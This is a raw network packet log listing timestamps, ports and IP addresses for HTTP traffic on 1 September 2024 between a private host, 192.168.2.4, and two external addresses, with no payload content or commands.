Sep 1, 2024 05:09:16.452775955 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.452807903 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453064919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453083992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453108072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453118086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453136921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453150034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453177929 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453202009 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453259945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453272104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453280926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453290939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453301907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453301907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453321934 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453345060 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453378916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453387976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453393936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453424931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453435898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453435898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453444958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.453463078 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.453490019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476115942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476135969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476145983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476177931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476219893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476222992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476231098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476241112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476258993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476289034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476326942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476337910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476346970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476362944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476377010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476388931 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476417065 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476443052 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476455927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476464987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476475000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476488113 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476496935 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476526976 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476630926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476639986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476650000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476660967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476670027 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476674080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476680040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476691008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476696968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476701021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476713896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476733923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476749897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476780891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476792097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476823092 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476845980 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476856947 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476861954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476871967 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.476892948 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476910114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.476986885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477001905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477011919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477021933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477031946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477035999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477051020 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477070093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477097988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477108955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477118969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477128983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477143049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477163076 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477709055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477761984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477762938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477775097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477802992 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477824926 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477830887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477842093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477850914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477861881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477870941 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477873087 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477900982 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477921009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477921963 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477941036 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477956057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.477967024 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477973938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.477998972 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478029966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478040934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478049994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478061914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478069067 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478099108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478131056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478142023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478151083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478173971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478193998 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478207111 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478218079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478228092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478239059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478247881 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478271961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478297949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478308916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478342056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478451014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478499889 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478508949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478518963 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478537083 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478547096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478549004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478557110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478568077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478583097 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478607893 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478677988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478689909 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478698969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478709936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478719950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478733063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478751898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478760958 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478761911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478771925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478782892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478790998 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478806019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478818893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478822947 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478858948 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478889942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478899002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478908062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478919029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478926897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.478931904 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478952885 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.478977919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.479242086 CEST	80	49744	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:16.479309082 CEST	49744	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:16.516638041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.516683102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.516700983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.516704082 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.516711950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.516731024 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.516731977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.516748905 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.516778946 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.538436890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.538495064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.538503885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.538511038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.538521051 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.538531065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.538542032 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.538558960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.538579941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.538606882 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.538613081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.538623095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.538651943 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.538665056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539033890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539042950 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539052010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539079905 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539108038 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539108038 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539119005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539129972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539151907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539176941 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539180994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539191961 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539226055 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539246082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539298058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539308071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539324045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539345026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539351940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539362907 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539369106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539396048 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539424896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539439917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539463043 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539488077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539912939 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539922953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539946079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.539957047 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.539990902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540005922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540016890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540026903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540045977 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540057898 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540116072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540126085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540136099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540153980 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540174007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540180922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540184975 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540203094 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540214062 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540231943 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540239096 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540292025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540302992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540313959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.540333986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.540344000 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563005924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563031912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563043118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563095093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563107014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563118935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563139915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563165903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563169956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563178062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563188076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563208103 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563224077 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563313007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563323021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563333988 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563344002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563354969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563354969 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563366890 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563384056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563400030 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563402891 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563426971 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563438892 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563546896 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563559055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563569069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563580990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563591003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563596010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563601971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563611984 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563621998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563632011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563632965 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563659906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563680887 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563684940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563726902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563817978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563828945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563838959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563851118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563860893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563863039 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563869953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563880920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563890934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563899994 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563903093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.563920975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563941956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.563998938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564011097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564049959 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564583063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564593077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564604998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564625978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564644098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564655066 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564657927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564666033 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564686060 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564718008 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564734936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564745903 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564755917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564785004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564798117 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564814091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564825058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564835072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564853907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564858913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564876080 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564903975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.564923048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564934969 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.564980984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565018892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565028906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565043926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565053940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565063953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565066099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565077066 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565093994 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565120935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565123081 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565134048 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:16.565162897 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:16.565191031 CEST	49742	80	192.168.2.4	185.215.113.100
